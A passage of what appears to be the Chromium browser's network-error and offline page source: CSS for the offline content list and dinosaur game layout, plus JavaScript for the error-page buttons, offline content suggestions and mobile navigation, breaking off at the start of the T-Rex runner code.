(max-height: 560px) {
#offline-content-list {
margin-inline-start: -12px;
width: calc(100% + 24px);
}
}
.suggestion-with-image .offline-content-suggestion-thumbnail {
flex-basis: 8.2em;
flex-shrink: 0;
}
.suggestion-with-image .offline-content-suggestion-thumbnail > img {
height: 100%;
width: 100%;
}
.suggestion-with-image #offline-content-list:not(.is-rtl)
.offline-content-suggestion-thumbnail > img {
border-bottom-right-radius: 7px;
border-top-right-radius: 7px;
}
.suggestion-with-image #offline-content-list.is-rtl
.offline-content-suggestion-thumbnail > img {
border-bottom-left-radius: 7px;
border-top-left-radius: 7px;
}
.suggestion-with-icon .offline-content-suggestion-thumbnail {
align-items: center;
display: flex;
justify-content: center;
min-height: 4.2em;
min-width: 4.2em;
}
.suggestion-with-icon .offline-content-suggestion-thumbnail > div {
align-items: center;
background-color: rgb(241, 243, 244);
border-radius: 50%;
display: flex;
height: 2.3em;
justify-content: center;
width: 2.3em;
}
.suggestion-with-icon .offline-content-suggestion-thumbnail > div > img {
height: 1.45em;
width: 1.45em;
}
.offline-content-suggestion-favicon {
height: 1em;
margin-inline-end: 0.4em;
width: 1.4em;
}
.offline-content-suggestion-favicon > img {
height: 1.4em;
width: 1.4em;
}
.no-favicon .offline-content-suggestion-favicon {
display: none;
}
.image-video {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTcgMTAuNVY3YTEgMSAwIDAgMC0xLTFINGExIDEgMCAwIDAtMSAxdjEwYTEgMSAwIDAgMCAxIDFoMTJhMSAxIDAgMCAwIDEtMXYtMy41bDQgNHYtMTFsLTQgNHoiIGZpbGw9IiMzQzQwNDMiLz48L3N2Zz4=);
}
.image-music-note {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTIgM3Y5LjI2Yy0uNS0uMTctMS0uMjYtMS41LS4yNkM4IDEyIDYgMTQgNiAxNi41UzggMjEgMTAuNSAyMXM0LjUtMiA0LjUtNC41VjZoNFYzaC03eiIgZmlsbD0iIzNDNDA0MyIvPjwvc3ZnPg==);
}
.image-earth {
content: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjQiIGhlaWdodD0iMjQiIHZpZXdCb3g9IjAgMCAyNCAyNCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTIgMmM1LjUyIDAgMTAgNC40OCAxMCAxMHMtNC40OCAxMC0xMCAxMFMyIDE3LjUyIDIgMTIgNi40OCAyIDEyIDJ6TTQgMTJoNC40YzMuNDA3LjAyMiA0LjkyMiAxLjczIDQuNTQzIDUuMTI3SDkuNDg4djIuNDdhOC4wMDQgOC4wMDQgMCAwIDAgMTAuNDk4LTguMDgzQzE5LjMyNyAxMi41MDQgMTguMzMyIDEzIDE3IDEzYy0yLjEzNyAwLTMuMjA2LS45MTYtMy4yMDYtMi43NWgtMy43NDhjLS4yNzQtMi43MjguNjgzLTQuMDkyIDIuODctNC4wOTIgMC0uOTc1LjMyNy0xLjU5Ny44MTEtMS45N0E4LjAwNCA4LjAwNCAwIDAgMCA0IDEyeiIgZmlsbD0iIzNDNDA0MyIvPjwvc3ZnPg==);
}
.image-file {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTMgOVYzLjVMMTguNSA5TTYgMmMtMS4xMSAwLTIgLjg5LTIgMnYxNmEyIDIgMCAwIDAgMiAyaDEyYTIgMiAwIDAgMCAyLTJWOGwtNi02SDZ6IiBmaWxsPSIjM0M0MDQzIi8+PC9zdmc+);
}
.offline-content-suggestion-texts {
display: flex;
flex-direction: column;
justify-content: space-between;
line-height: 1.3;
padding: .9em;
width: 100%;
}
.offline-content-suggestion-title {
-webkit-box-orient: vertical;
-webkit-line-clamp: 3;
color: rgb(32, 33, 36);
display: -webkit-box;
font-size: 1.1em;
overflow: hidden;
text-overflow: ellipsis;
}
div.offline-content-suggestion {
align-items: stretch;
border: 1px solid rgb(218, 220, 224);
border-radius: 8px;
display: flex;
justify-content: space-between;
margin-bottom: .8em;
}
.suggestion-with-image {
flex-direction: row;
height: 8.2em;
max-height: 8.2em;
}
.suggestion-with-icon {
flex-direction: row-reverse;
height: 4.2em;
max-height: 4.2em;
}
.suggestion-with-icon .offline-content-suggestion-title {
-webkit-line-clamp: 1;
word-break: break-all;
}
.suggestion-with-icon .offline-content-suggestion-texts {
padding-inline-start: 0;
}
.offline-content-suggestion-attribution-freshness {
color: rgb(95, 99, 104);
display: flex;
font-size: .8em;
line-height: 1.7em;
}
.offline-content-suggestion-attribution {
-webkit-box-orient: vertical;
-webkit-line-clamp: 1;
display: -webkit-box;
flex-shrink: 1;
margin-inline-end: 0.3em;
overflow: hidden;
overflow-wrap: break-word;
text-overflow: ellipsis;
word-break: break-all;
}
.no-attribution .offline-content-suggestion-attribution {
display: none;
}
.offline-content-suggestion-freshness::before {
content: '-';
display: inline-block;
flex-shrink: 0;
margin-inline-end: .1em;
margin-inline-start: .1em;
}
.no-attribution .offline-content-suggestion-freshness::before {
display: none;
}
.offline-content-suggestion-freshness {
flex-shrink: 0;
}
.suggestion-with-image .offline-content-suggestion-pin-spacer {
flex-grow: 100;
flex-shrink: 1;
}
.suggestion-with-image .offline-content-suggestion-pin {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2aWV3Qm94PSIwIDAgMjQgMjQiIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCI+PGRlZnM+PHBhdGggaWQ9ImEiIGQ9Ik0wIDBoMjR2MjRIMFYweiIvPjwvZGVmcz48Y2xpcFBhdGggaWQ9ImIiPjx1c2UgeGxpbms6aHJlZj0iI2EiIG92ZXJmbG93PSJ2aXNpYmxlIi8+PC9jbGlwUGF0aD48cGF0aCBjbGlwLXBhdGg9InVybCgjYikiIGQ9Ik0xMiAyQzYuNSAyIDIgNi41IDIgMTJzNC41IDEwIDEwIDEwIDEwLTQuNSAxMC0xMFMxNy41IDIgMTIgMnptNSAxNkg3di0yaDEwdjJ6bS02LjctNEw3IDEwLjdsMS40LTEuNCAxLjkgMS45IDUuMy01LjNMMTcgNy4zIDEwLjMgMTR6IiBmaWxsPSIjOUFBMEE2Ii8+PC9zdmc+);
flex-shrink: 0;
height: 1.4em;
margin-inline-start: .4em;
width: 1.4em;
}
/* Controls the animation (and a bit more) of the launch-downloads-home action
* button when the offline content list is expanded/shown.
*/
#offline-content-list-action {
text-align: center;
transition: visibility 0s 200ms, opacity 200ms 200ms linear;
}
/* Controls the animation of the launch-downloads-home action button when the
* offline content list is collapsed/hidden.
*/
#offline-content-list.list-hidden #offline-content-list-action {
opacity: 0;
transition: opacity 200ms linear, visibility 0s 200ms;
visibility: hidden;
}
#cancel-save-page-button {
background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgd2lkdGg9IjI0IiBoZWlnaHQ9IjI0Ij48Y2xpcFBhdGggaWQ9Im1hc2siPjxwYXRoIGQ9Ik0xMiAyQzYuNSAyIDIgNi41IDIgMTJzNC41IDEwIDEwIDEwIDEwLTQuNSAxMC0xMFMxNy41IDIgMTIgMnptNSAxNkg3di0yaDEwdjJ6bS02LjctNEw3IDEwLjdsMS40LTEuNCAxLjkgMS45IDUuMy01LjNMMTcgNy4zIDEwLjMgMTR6IiBmaWxsPSIjOUFBMEE2Ii8+PC9jbGlwUGF0aD48cGF0aCBjbGlwLXBhdGg9InVybCgjbWFzaykiIGZpbGw9IiM5QUEwQTYiIGQ9Ik0wIDBoMjR2MjRIMHoiLz48cGF0aCBjbGlwLXBhdGg9InVybCgjbWFzaykiIGZpbGw9IiMxQTczRTgiIHN0eWxlPSJhbmltYXRpb246b2ZmbGluZUFuaW1hdGlvbiA0cyBpbmZpbml0ZSIgZD0iTTAgMGgyNHYyNEgweiIvPjxzdHlsZT5Aa2V5ZnJhbWVzIG9mZmxpbmVBbmltYXRpb257MCUsMzUle2hlaWdodDowfTYwJXtoZWlnaHQ6MTAwJX05MCV7ZmlsbC1vcGFjaXR5OjF9dG97ZmlsbC1vcGFjaXR5OjB9fTwvc3R5bGU+PC9zdmc+);
background-position: right 27px center;
background-repeat: no-repeat;
border: 1px solid var(--google-gray-300);
border-radius: 5px;
color: var(--google-gray-700);
margin-bottom: 26px;
padding-bottom: 16px;
padding-inline-end: 88px;
padding-inline-start: 16px;
padding-top: 16px;
text-align: start;
}
html[dir='rtl'] #cancel-save-page-button {
background-position: left 27px center;
}
#save-page-for-later-button {
display: flex;
justify-content: start;
}
#save-page-for-later-button a::before {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxLjJlbSIgaGVpZ2h0PSIxLjJlbSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNNSAyMGgxNHYtMkg1bTE0LTloLTRWM0g5djZINWw3IDcgNy03eiIgZmlsbD0iIzQyODVGNCIvPjwvc3ZnPg==);
display: inline-block;
margin-inline-end: 4px;
vertical-align: -webkit-baseline-middle;
}
.hidden#save-page-for-later-button {
display: none;
}
/* Don't allow overflow when in a subframe. */
html[subframe] body {
overflow: hidden;
}
#sub-frame-error {
-webkit-align-items: center;
-webkit-flex-flow: column;
-webkit-justify-content: center;
background-color: #DDD;
display: -webkit-flex;
height: 100%;
left: 0;
position: absolute;
text-align: center;
top: 0;
transition: background-color 200ms ease-in-out;
width: 100%;
}
#sub-frame-error:hover {
background-color: #EEE;
}
#sub-frame-error .icon-generic {
margin: 0 0 16px;
}
#sub-frame-error-details {
margin: 0 10px;
text-align: center;
visibility: hidden;
}
/* Show details only when hovering. */
#sub-frame-error:hover #sub-frame-error-details {
visibility: visible;
}
/* If the iframe is too small, always hide the error code. */
/* TODO(mmenke): See if overflow: no-display works better, once supported. */
@media (max-width: 200px), (max-height: 95px) {
#sub-frame-error-details {
display: none;
}
}
/* Adjust icon for small embedded frames in apps. */
@media (max-height: 100px) {
#sub-frame-error .icon-generic {
height: auto;
margin: 0;
padding-top: 0;
width: 25px;
}
}
/* details-button is special; it's a <button> element that looks like a link. */
#details-button {
box-shadow: none;
min-width: 0;
}
/* Styles for platform dependent separation of controls and details button. */
.suggested-left > #control-buttons,
.suggested-right > #details-button {
float: left;
}
.suggested-right > #control-buttons,
.suggested-left > #details-button {
float: right;
}
.suggested-left .secondary-button {
margin-inline-end: 0;
margin-inline-start: 16px;
}
#details-button.singular {
float: none;
}
/* download-button shows both icon and text. */
#download-button {
padding-bottom: 4px;
padding-top: 4px;
position: relative;
}
#download-button::before {
background: -webkit-image-set(
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAQAAABKfvVzAAAAO0lEQVQ4y2NgGArgPxIY1YChsOE/LtBAmpYG0mxpIOSDBpKUo2lpIDZxNJCkHKqlYZAla3RAHQ1DFgAARRroHyLNTwwAAAAASUVORK5CYII=) 1x,
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAQAAAD9CzEMAAAAZElEQVRYw+3Ruw3AMAwDUY3OzZUmRRD4E9iim9wNwAdbEURHyk4AAAAATiCVK8lLyPsKeT9K3lsownnunfkPxO78hKiYHxBV8x2icr5BVM+/CMf8g3DN34Rzns6ViwHUAUQ/6wIAd5Km7l6c8AAAAABJRU5ErkJggg==) 2x)
no-repeat;
content: '';
display: inline-block;
height: 24px;
margin-inline-end: 4px;
margin-inline-start: -4px;
vertical-align: middle;
width: 24px;
}
#download-button:disabled {
background: rgb(180, 206, 249);
color: rgb(255, 255, 255);
}
#buttons::after {
clear: both;
content: '';
display: block;
width: 100%;
}
/* Offline page */
html[dir='rtl'] .runner-container,
html[dir='rtl'].offline .icon-offline {
transform: scaleX(-1);
}
.offline {
transition: filter 1.5s cubic-bezier(0.65, 0.05, 0.36, 1),
background-color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
will-change: filter, background-color;
}
.offline body {
transition: background-color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
}
.offline #main-message > p {
display: none;
}
.offline.inverted {
background-color: #fff;
filter: invert(1);
}
.offline.inverted body {
background-color: #fff;
}
.offline .interstitial-wrapper {
color: var(--text-color);
font-size: 1em;
line-height: 1.55;
margin: 0 auto;
max-width: 600px;
padding-top: 100px;
position: relative;
width: 100%;
}
.offline .runner-container {
direction: ltr;
height: 150px;
max-width: 600px;
overflow: hidden;
position: absolute;
top: 35px;
width: 44px;
}
.offline .runner-container:focus {
outline: none;
}
.offline .runner-container:focus-visible {
outline: 3px solid var(--google-blue-300);
}
.offline .runner-canvas {
height: 150px;
max-width: 600px;
opacity: 1;
overflow: hidden;
position: absolute;
top: 0;
z-index: 10;
}
.offline .controller {
height: 100vh;
left: 0;
position: absolute;
top: 0;
width: 100vw;
z-index: 9;
}
#offline-resources {
display: none;
}
#offline-instruction {
image-rendering: pixelated;
left: 0;
margin: auto;
position: absolute;
right: 0;
top: 60px;
width: fit-content;
}
.offline-runner-live-region {
bottom: 0;
clip-path: polygon(0 0, 0 0, 0 0);
color: var(--background-color);
display: block;
font-size: xx-small;
overflow: hidden;
position: absolute;
text-align: center;
transition: color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
user-select: none;
}
/* Custom toggle */
.slow-speed-option {
align-items: center;
background: var(--google-gray-50);
border-radius: 24px/50%;
bottom: 0;
color: var(--error-code-color);
display: inline-flex;
font-size: 1em;
left: 0;
line-height: 1.1em;
margin: 5px auto;
padding: 2px 12px 3px 20px;
position: absolute;
right: 0;
width: max-content;
z-index: 999;
}
.slow-speed-option.hidden {
display: none;
}
.slow-speed-option [type=checkbox] {
opacity: 0;
pointer-events: none;
position: absolute;
}
.slow-speed-option .slow-speed-toggle {
cursor: pointer;
margin-inline-start: 8px;
padding: 8px 4px;
position: relative;
}
.slow-speed-option [type=checkbox]:disabled ~ .slow-speed-toggle {
cursor: default;
}
.slow-speed-option-label [type=checkbox] {
opacity: 0;
pointer-events: none;
position: absolute;
}
.slow-speed-option .slow-speed-toggle::before,
.slow-speed-option .slow-speed-toggle::after {
content: '';
display: block;
margin: 0 3px;
transition: all 100ms cubic-bezier(0.4, 0, 1, 1);
}
.slow-speed-option .slow-speed-toggle::before {
background: rgb(189,193,198);
border-radius: 0.65em;
height: 0.9em;
width: 2em;
}
.slow-speed-option .slow-speed-toggle::after {
background: #fff;
border-radius: 50%;
box-shadow: 0 1px 3px 0 rgb(0 0 0 / 40%);
height: 1.2em;
position: absolute;
top: 51%;
transform: translate(-20%, -50%);
width: 1.1em;
}
.slow-speed-option [type=checkbox]:focus + .slow-speed-toggle {
box-shadow: 0 0 8px rgb(94, 158, 214);
outline: 1px solid rgb(93, 157, 213);
}
.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::before {
background: var(--google-blue-600);
opacity: 0.5;
}
.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::after {
background: var(--google-blue-600);
transform: translate(calc(2em - 90%), -50%);
}
.slow-speed-option [type=checkbox]:checked:disabled +
.slow-speed-toggle::before {
background: rgb(189,193,198);
}
.slow-speed-option [type=checkbox]:checked:disabled +
.slow-speed-toggle::after {
background: var(--google-gray-50);
}
@media (max-width: 420px) {
#download-button {
padding-bottom: 12px;
padding-top: 12px;
}
.suggested-left > #control-buttons,
.suggested-right > #control-buttons {
float: none;
}
.snackbar {
border-radius: 0;
bottom: 0;
left: 0;
width: 100%;
}
}
@media (max-height: 350px) {
h1 {
margin: 0 0 15px;
}
.icon-offline {
margin: 0 0 10px;
}
.interstitial-wrapper {
margin-top: 5%;
}
.nav-wrapper {
margin-top: 30px;
}
}
@media (min-width: 420px) and (max-width: 736px) and
(min-height: 240px) and (max-height: 420px) and
(orientation:landscape) {
.interstitial-wrapper {
margin-bottom: 100px;
}
}
@media (max-width: 360px) and (max-height: 480px) {
.offline .interstitial-wrapper {
padding-top: 60px;
}
.offline .runner-container {
top: 8px;
}
}
@media (min-height: 240px) and (orientation: landscape) {
.offline .interstitial-wrapper {
margin-bottom: 90px;
}
.icon-offline {
margin-bottom: 20px;
}
}
@media (max-height: 320px) and (orientation: landscape) {
.icon-offline {
margin-bottom: 0;
}
.offline .runner-container {
top: 10px;
}
}
@media (max-width: 240px) {
button {
padding-inline-end: 12px;
padding-inline-start: 12px;
}
.interstitial-wrapper {
overflow: inherit;
padding: 0 8px;
}
}
@media (max-width: 120px) {
button {
width: auto;
}
}
.arcade-mode,
.arcade-mode .runner-container,
.arcade-mode .runner-canvas {
image-rendering: pixelated;
max-width: 100%;
overflow: hidden;
}
.arcade-mode #buttons,
.arcade-mode #main-content {
opacity: 0;
overflow: hidden;
}
.arcade-mode .interstitial-wrapper {
height: 100vh;
max-width: 100%;
overflow: hidden;
}
.arcade-mode .runner-container {
left: 0;
margin: auto;
right: 0;
transform-origin: top center;
transition: transform 250ms cubic-bezier(0.4, 0, 1, 1) 400ms;
z-index: 2;
}
@media (prefers-color-scheme: dark) {
.icon {
filter: invert(1);
}
.offline .runner-canvas {
filter: invert(1);
}
.offline.inverted {
background-color: var(--background-color);
filter: invert(0);
}
.offline.inverted body {
background-color: #fff;
}
.offline.inverted .offline-runner-live-region {
color: #fff;
}
#suggestions-list a {
color: var(--link-color);
}
#error-information-button {
filter: invert(0.6);
}
.slow-speed-option {
background: var(--google-gray-800);
color: var(--google-gray-100);
}
.slow-speed-option .slow-speed-toggle::before,
.slow-speed-option [type=checkbox]:checked:disabled +
.slow-speed-toggle::before {
background: rgb(189,193,198);
}
.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::after,
.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::before {
background: var(--google-blue-300);
}
}
</style>
<script>// Copyright 2013 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/**
* @typedef {{
* downloadButtonClick: function(),
* reloadButtonClick: function(string),
* detailsButtonClick: function(),
* diagnoseErrorsButtonClick: function(),
* trackEasterEgg: function(),
* updateEasterEggHighScore: function(number),
* resetEasterEggHighScore: function(),
* launchOfflineItem: function(string, string),
* savePageForLater: function(),
* cancelSavePage: function(),
* listVisibilityChange: function(boolean),
* }}
*/
// eslint-disable-next-line no-var
var errorPageController;
const HIDDEN_CLASS = 'hidden';
// Decodes a UTF16 string that is encoded as base64.
function decodeUTF16Base64ToString(encoded_text) {
const data = atob(encoded_text);
let result = '';
for (let i = 0; i < data.length; i += 2) {
result +=
String.fromCharCode(data.charCodeAt(i) * 256 + data.charCodeAt(i + 1));
}
return result;
}
function toggleHelpBox() {
const helpBoxOuter = document.getElementById('details');
helpBoxOuter.classList.toggle(HIDDEN_CLASS);
const detailsButton = document.getElementById('details-button');
if (helpBoxOuter.classList.contains(HIDDEN_CLASS)) {
/** @suppress {missingProperties} */
detailsButton.innerText = detailsButton.detailsText;
} else {
/** @suppress {missingProperties} */
detailsButton.innerText = detailsButton.hideDetailsText;
}
// Details appears over the main content on small screens.
if (mobileNav) {
document.getElementById('main-content').classList.toggle(HIDDEN_CLASS);
const runnerContainer = document.querySelector('.runner-container');
if (runnerContainer) {
runnerContainer.classList.toggle(HIDDEN_CLASS);
}
}
}
function diagnoseErrors() {
if (window.errorPageController) {
errorPageController.diagnoseErrorsButtonClick();
}
}
// Subframes use a different layout but the same html file. This is to make it
// easier to support platforms that load the error page via different
// mechanisms (Currently just iOS). We also use the subframe style for portals
// as they are embedded like subframes and can't be interacted with by the user.
let isSubFrame = false;
if (window.top.location !== window.location || window.portalHost) {
document.documentElement.setAttribute('subframe', '');
isSubFrame = true;
}
// Re-renders the error page using |strings| as the dictionary of values.
// Used by NetErrorTabHelper to update DNS error pages with probe results.
function updateForDnsProbe(strings) {
const context = new JsEvalContext(strings);
jstProcess(context, document.getElementById('t'));
onDocumentLoadOrUpdate();
}
// Adds an icon class to the list and removes classes previously set.
function updateIconClass(newClass) {
const frameSelector = isSubFrame ? '#sub-frame-error' : '#main-frame-error';
const iconEl = document.querySelector(frameSelector + ' .icon');
if (iconEl.classList.contains(newClass)) {
return;
}
iconEl.className = 'icon ' + newClass;
}
// Implements button clicks. This function is needed during the transition
// between implementing these in trunk chromium and implementing them in iOS.
function reloadButtonClick(url) {
if (window.errorPageController) {
//
//
errorPageController.reloadButtonClick();
//
} else {
window.location = url;
}
}
function downloadButtonClick() {
if (window.errorPageController) {
errorPageController.downloadButtonClick();
const downloadButton = document.getElementById('download-button');
downloadButton.disabled = true;
/** @suppress {missingProperties} */
downloadButton.textContent = downloadButton.disabledText;
document.getElementById('download-link-wrapper')
.classList.add(HIDDEN_CLASS);
document.getElementById('download-link-clicked-wrapper')
.classList.remove(HIDDEN_CLASS);
}
}
function detailsButtonClick() {
if (window.errorPageController) {
errorPageController.detailsButtonClick();
}
}
let primaryControlOnLeft = true;
// clang-format off
//
// clang-format on
primaryControlOnLeft = false;
//
function setAutoFetchState(scheduled, can_schedule) {
document.getElementById('cancel-save-page-button')
.classList.toggle(HIDDEN_CLASS, !scheduled);
document.getElementById('save-page-for-later-button')
.classList.toggle(HIDDEN_CLASS, scheduled || !can_schedule);
}
function savePageLaterClick() {
errorPageController.savePageForLater();
// savePageForLater will eventually trigger a call to setAutoFetchState() when
// it completes.
}
function cancelSavePageClick() {
errorPageController.cancelSavePage();
// setAutoFetchState is not called in response to cancelSavePage(), so do it
// now.
setAutoFetchState(false, true);
}
function toggleErrorInformationPopup() {
document.getElementById('error-information-popup-container')
.classList.toggle(HIDDEN_CLASS);
}
function launchOfflineItem(itemID, name_space) {
errorPageController.launchOfflineItem(itemID, name_space);
}
function launchDownloadsPage() {
errorPageController.launchDownloadsPage();
}
function getIconForSuggestedItem(item) {
// Note: |item.content_type| contains the enum values from
// chrome::mojom::AvailableContentType.
switch (item.content_type) {
case 1: // kVideo
return 'image-video';
case 2: // kAudio
return 'image-music-note';
case 0: // kPrefetchedPage
case 3: // kOtherPage
return 'image-earth';
}
return 'image-file';
}
function getSuggestedContentDiv(item, index) {
// Note: See AvailableContentToValue in available_offline_content_helper.cc
// for the data contained in an |item|.
// TODO(carlosk): Present |snippet_base64| when that content becomes
// available.
let thumbnail = '';
const extraContainerClasses = [];
// html_inline.py will try to replace src attributes with data URIs using a
// simple regex. The following is obfuscated slightly to avoid that.
const source = 'src';
if (item.thumbnail_data_uri) {
extraContainerClasses.push('suggestion-with-image');
thumbnail = `<img ${source}="${item.thumbnail_data_uri}">`;
} else {
extraContainerClasses.push('suggestion-with-icon');
const iconClass = getIconForSuggestedItem(item);
thumbnail = `<div><img class="${iconClass}"></div>`;
}
let favicon = '';
if (item.favicon_data_uri) {
favicon = `<img ${source}="${item.favicon_data_uri}">`;
} else {
extraContainerClasses.push('no-favicon');
}
if (!item.attribution_base64) {
extraContainerClasses.push('no-attribution');
}
return `
<div class="offline-content-suggestion ${extraContainerClasses.join(' ')}"
onclick="launchOfflineItem('${item.ID}', '${item.name_space}')">
<div class="offline-content-suggestion-texts">
<div id="offline-content-suggestion-title-${index}"
class="offline-content-suggestion-title">
</div>
<div class="offline-content-suggestion-attribution-freshness">
<div id="offline-content-suggestion-favicon-${index}"
class="offline-content-suggestion-favicon">
${favicon}
</div>
<div id="offline-content-suggestion-attribution-${index}"
class="offline-content-suggestion-attribution">
</div>
<div class="offline-content-suggestion-freshness">
${item.date_modified}
</div>
<div class="offline-content-suggestion-pin-spacer"></div>
<div class="offline-content-suggestion-pin"></div>
</div>
</div>
<div class="offline-content-suggestion-thumbnail">
${thumbnail}
</div>
</div>`;
}
/**
* @typedef {{
* ID: string,
* name_space: string,
* title_base64: string,
* snippet_base64: string,
* date_modified: string,
* attribution_base64: string,
* thumbnail_data_uri: string,
* favicon_data_uri: string,
* content_type: number,
* }}
*/
let AvailableOfflineContent;
// Populates a list of suggested offline content.
// Note: For security reasons all content downloaded from the web is considered
// unsafe and must be securely handled to be presented on the dino page. Images
// have already been safely re-encoded but textual content -- like title and
// attribution -- must be properly handled here.
// @param {boolean} isShown
// @param {Array<AvailableOfflineContent>} suggestions
function offlineContentAvailable(isShown, suggestions) {
if (!suggestions || !loadTimeData.valueExists('offlineContentList')) {
return;
}
const suggestionsHTML = [];
for (let index = 0; index < suggestions.length; index++) {
suggestionsHTML.push(getSuggestedContentDiv(suggestions[index], index));
}
document.getElementById('offline-content-suggestions').innerHTML =
suggestionsHTML.join('\n');
// Sets textual web content using |textContent| to make sure it's handled as
// plain text.
for (let index = 0; index < suggestions.length; index++) {
document.getElementById(`offline-content-suggestion-title-${index}`)
.textContent =
decodeUTF16Base64ToString(suggestions[index].title_base64);
document.getElementById(`offline-content-suggestion-attribution-${index}`)
.textContent =
decodeUTF16Base64ToString(suggestions[index].attribution_base64);
}
const contentListElement = document.getElementById('offline-content-list');
if (document.dir === 'rtl') {
contentListElement.classList.add('is-rtl');
}
contentListElement.hidden = false;
// The list is configured as hidden by default. Show it if needed.
if (isShown) {
toggleOfflineContentListVisibility(false);
}
}
function toggleOfflineContentListVisibility(updatePref) {
if (!loadTimeData.valueExists('offlineContentList')) {
return;
}
const contentListElement = document.getElementById('offline-content-list');
const isVisible = !contentListElement.classList.toggle('list-hidden');
if (updatePref && window.errorPageController) {
errorPageController.listVisibilityChanged(isVisible);
}
}
// Called on document load, and from updateForDnsProbe().
function onDocumentLoadOrUpdate() {
const downloadButtonVisible = loadTimeData.valueExists('downloadButton') &&
loadTimeData.getValue('downloadButton').msg;
const detailsButton = document.getElementById('details-button');
// If offline content suggestions will be visible, the usual buttons will not
// be presented.
const offlineContentVisible =
loadTimeData.valueExists('suggestedOfflineContentPresentation');
if (offlineContentVisible) {
document.querySelector('.nav-wrapper').classList.add(HIDDEN_CLASS);
detailsButton.classList.add(HIDDEN_CLASS);
document.getElementById('download-link').hidden = !downloadButtonVisible;
document.getElementById('download-links-wrapper')
.classList.remove(HIDDEN_CLASS);
document.getElementById('error-information-popup-container')
.classList.add('use-popup-container', HIDDEN_CLASS);
document.getElementById('error-information-button')
.classList.remove(HIDDEN_CLASS);
}
const attemptAutoFetch = loadTimeData.valueExists('attemptAutoFetch') &&
loadTimeData.getValue('attemptAutoFetch');
const reloadButtonVisible = loadTimeData.valueExists('reloadButton') &&
loadTimeData.getValue('reloadButton').msg;
const reloadButton = document.getElementById('reload-button');
const downloadButton = document.getElementById('download-button');
if (reloadButton.style.display === 'none' &&
downloadButton.style.display === 'none') {
detailsButton.classList.add('singular');
}
// Show or hide control buttons.
const controlButtonDiv = document.getElementById('control-buttons');
controlButtonDiv.hidden =
offlineContentVisible || !(reloadButtonVisible || downloadButtonVisible);
const iconClass = loadTimeData.valueExists('iconClass') &&
loadTimeData.getValue('iconClass');
updateIconClass(iconClass);
if (!isSubFrame && iconClass === 'icon-offline') {
document.documentElement.classList.add('offline');
new Runner('.interstitial-wrapper');
}
}
function onDocumentLoad() {
// Sets up the proper button layout for the current platform.
const buttonsDiv = document.getElementById('buttons');
if (primaryControlOnLeft) {
buttonsDiv.classList.add('suggested-left');
} else {
buttonsDiv.classList.add('suggested-right');
}
onDocumentLoadOrUpdate();
}
document.addEventListener('DOMContentLoaded', onDocumentLoad);
</script>
<script>// Copyright 2015 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
let mobileNav = false;
/**
* For small screen mobile the navigation buttons are moved
* below the advanced text.
*/
function onResize() {
const helpOuterBox = document.querySelector('#details');
const mainContent = document.querySelector('#main-content');
const mediaQuery = '(min-width: 240px) and (max-width: 420px) and ' +
'(min-height: 401px), ' +
'(max-height: 560px) and (min-height: 240px) and ' +
'(min-width: 421px)';
const detailsHidden = helpOuterBox.classList.contains(HIDDEN_CLASS);
const runnerContainer = document.querySelector('.runner-container');
// Check for change in nav status.
if (mobileNav !== window.matchMedia(mediaQuery).matches) {
mobileNav = !mobileNav;
// Handle showing the top content / details sections according to state.
if (mobileNav) {
mainContent.classList.toggle(HIDDEN_CLASS, !detailsHidden);
helpOuterBox.classList.toggle(HIDDEN_CLASS, detailsHidden);
if (runnerContainer) {
runnerContainer.classList.toggle(HIDDEN_CLASS, !detailsHidden);
}
} else if (!detailsHidden) {
// Non mobile nav with visible details.
mainContent.classList.remove(HIDDEN_CLASS);
helpOuterBox.classList.remove(HIDDEN_CLASS);
if (runnerContainer) {
runnerContainer.classList.remove(HIDDEN_CLASS);
}
}
}
}
function setupMobileNav() {
window.addEventListener('resize', onResize);
onResize();
}
document.addEventListener('DOMContentLoaded', setupMobileNav);
</script>
<script>// Copyright 2014 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/**
* T-Rex runner.
* @param {string} outerContainerId Outer containing element id.
* @param {!Object=} opt_config
* @constructor
* @implements {EventListener}
* @export
*/
function Runner(outerContainerId, opt_config) {
// Singleton
if (Runner.instance_) {
return Runner.instance_;
}
Runner.instance_ = this;
this.outerContainerEl = document.querySelector(outerContainerId);
